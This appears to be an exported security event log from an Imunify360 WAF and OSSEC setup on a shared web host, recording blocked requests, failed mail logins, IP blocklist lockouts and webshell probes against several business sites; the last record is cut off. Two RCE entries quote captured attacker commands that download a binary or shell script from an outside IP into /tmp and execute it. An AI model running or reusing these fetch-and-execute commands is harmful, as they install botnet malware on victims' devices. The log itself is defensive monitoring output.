rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 104.15.219.163
country_id: 6252001
domain: www.oxbold.com
description:
IM360 WAF: Possible XSS in arguments||MV:https://www.oxbold.com/onedaypilot.htm?fbclid=iwzxh0bgnhzw0cmteac3j0ywzhchbfawqknjyyodu2odm3oqabhkjtp2t5mirynqxnf-f2q-u17fy-diijwxmhceohvfrsmq2ywt-63w35z9jo_aem_oojr6wwz_vrrqaae-k8mfw||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-01-22 06:17:30 dovecot_login authenticator failed for H=([221.209.48.203]) [221.209.48.203]:44634: 535 Incorrect authentication data (set_id=weisiong.wan@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.209.48.203
country_id: 1814991
description:
Jan 22 06:17:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.209.48.203 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.254.104.35
country_id: 3625428
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3272.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.17
country_id: 2542007
description:
Jan 22 06:18:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-22 06:18:03 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:43888: 535 Incorrect authentication data (set_id=weisiong.wan@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.115.171.11
country_id: 3923057
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3003.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.31.179.116
country_id: 1562822
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3268.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.210.244.202
country_id: 1562822
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3922.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.215.155.227
country_id: 953987
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3019.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.19.71.67
country_id: 1562822
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3380.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.166.244.3
country_id: 1562822
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3731.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.97
country_id: 3175395
description:
Jan 22 06:19:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.97 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.113.150.255
country_id: 2589581
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/sand/239/296786 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/news.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.56
country_id: 2542007
description:
Jan 22 06:24:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-22 06:24:19 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:40233: 535 Incorrect authentication data (set_id=shinwen.ong@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 108.165.215.170
country_id: 1733045
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/img/photos/9855151585.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 06:26:28 H=([45.144.212.242]) [45.144.212.242]:61162 F=<no_reply@admin.com> rejected RCPT <inquiries@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.5.203
country_id: 2300660
description:
Jan 22 06:29:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.5.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.5.203
country_id: 2300660
description:
Jan 22 06:29:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.5.203 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 195.184.76.245
country_id: 6252001
description:
Jan 22 06:31:57 sv3 pure-ftpd[3781423]: (?@195.184.76.245) [INFO] New connection from 195.184.76.245


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 195.184.76.243
country_id: 6252001
description:
Jan 22 06:31:57 sv3 pure-ftpd[3781426]: (?@195.184.76.243) [INFO] New connection from 195.184.76.243


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.230.228.135
country_id: 1512440
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=56121516002362 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.48
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/print-2/images/tyresafetytips.php||SC:/home2/fkrcom/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.220.99
country_id: 1562822
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/smart.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 06:39:05 H=([45.144.212.242]) [45.144.212.242]:58265 F=<no_reply@admin.com> rejected RCPT <julie@nobledec.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.134.8
country_id: 3469034
description:
Jan 22 06:39:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.134.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 06:41:27 H=([45.144.212.242]) [45.144.212.242]:61593 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: modsec
rule: 77142263
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 64.34.87.123
country_id: 6252001
domain: 42.0.28.25:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.64||T:APACHE||MVN:ARGS:mdc||MV:cd /tmp;rm arm7; wget http://46.38.156.31/arm7; chmod 777 *; ./arm7 tbk||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 66.93.228.227
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-51.66.93.228.227||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.188.156
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1102-MSCL-BEND-ELBOW.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.205.1.201
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1160-16-RING-FLANGE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.235.120.150
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1150-MS-COLLAR.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.100.204
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1104-MSCL-TEE-INVERT-TEE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.226.105.102
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1160-10-BLIND-FLANGE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.43.132.3
country_id: 163843
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1170-FELXIBLE-JOINT.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.116
country_id: 3175395
description:
Jan 22 06:51:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.116 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.105.212
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1101-STRAIGHT-MSCL-PIPE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.240
country_id: 3469034
description:
Jan 22 06:54:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.81.153
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/img/demos/img/photos/img/index.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.172.114.195
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0203-T-KEY.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.102.246.28
country_id: 3865483
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0205-S-STEM-CAP.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.213.181.3
country_id: 3573591
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0111-FABRICATED-HEADSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.185.119.21
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M1900-Z-Z-TYPE-HEADSTOCK-STAND.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.26.233.30
country_id: 3439705
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0201-01-EXTENSION-SPINDLE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.52.243.251
country_id: 102358
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0202-ES-WALL-SPINLDE-BRACKET GUIDE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.217.198.49
country_id: 3996063
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0202-EE-WALL-SPINLDE-BRACKET-GUIDE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.153.170.36
country_id: 1210997
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0112-FABRICATED-HEADSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.17.208
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0122-FABRICATED-INCLINED-HEADSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.171.169.38
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0121-FABRICATED-INCLINED-HEADSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.228.85
country_id: 3437598
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0201-03-EXTENSION-SPINDLE-PIPE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.190.101.179
country_id: 2542007
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0202-EH-WALL-SPINLDE-BRACKET-GUIDE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.183.221.52
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0205-H-HANDWHEEL.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.236.207.62
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0199-MC-MUFF-COUPLER.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.230.137
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M1351-LAUNDERS-AND-LAMELLA-PLATE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.99.11
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0101-CASTING-HEADSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.243.0.12
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0101-CASTING-HEADSTOCK_1.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.242.151.100
country_id: 1562822
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/images/logo-bawah.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 64.34.87.123
country_id: 6252001
domain: 42.0.28.25:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.64||T:APACHE||MVN:ARGS:mdc||MV:cd /tmp; rm arm7; rm payload.sh; wget http://46.38.156.31/payload.sh; chmod -x payload.sh; bash payload.sh||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/component/tag/img/photos/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.84.88.64
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=163208 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.61.0
country_id: 3658394
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/images/Stadium_Negara_20240603.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.122.190
country_id: 1562822
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/img/photos/217937.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.42.46.140
country_id: 3469034
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/images/award.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.145.50.88
country_id: 3996063
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/img/photos/959849.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.70.126.235
country_id: 1269750
description:
Jan 22 07:04:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.70.126.235 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.194.5.251
country_id: 1643084
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/img/photos/985843.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.209.46.212
country_id: 3469034
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/img/photos/754933.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.36.200.30
country_id: 587116
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/img/photos/276617.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.115.172
country_id: 1562822
domain: usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/usfood.com.my/product-details.php?id=120179 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/img/csr.php||SC:/home/indfinitydesign/public_html/images/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.115.172
country_id: 1562822
domain: usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/usfood.com.my/cgi-sys/suspendedpage.cgi?id=120179 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.89
country_id: 798544
description:
Jan 22 07:08:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.81
country_id: 1269750
description:
Jan 22 07:09:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.40.202.85
country_id: 1269750
description:
Jan 22 07:10:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.40.202.85 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.27.120.46
country_id: 2464461
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/nikic/php-parser/test/bootstrap.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 22 07:16:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-22 07:16:29 dovecot_login authenticator failed for H=(Tbcdi3) [178.16.54.138]:54890: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 22 07:17:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-22 07:17:13 dovecot_login authenticator failed for H=(82lKWDAnN) [178.16.54.138]:52777: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 22 07:17:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-22 07:18:00 dovecot_login authenticator failed for H=(LAJQl7) [178.16.54.138]:56569: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.44.75.139
country_id: 3175395
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/pig/11/52/1115529 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.249.146.129
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=64 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/home/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.96.59
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/images/kitchen-supplier.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.184.97.22
country_id: 953987
domain: www.cabe.com.my
description:
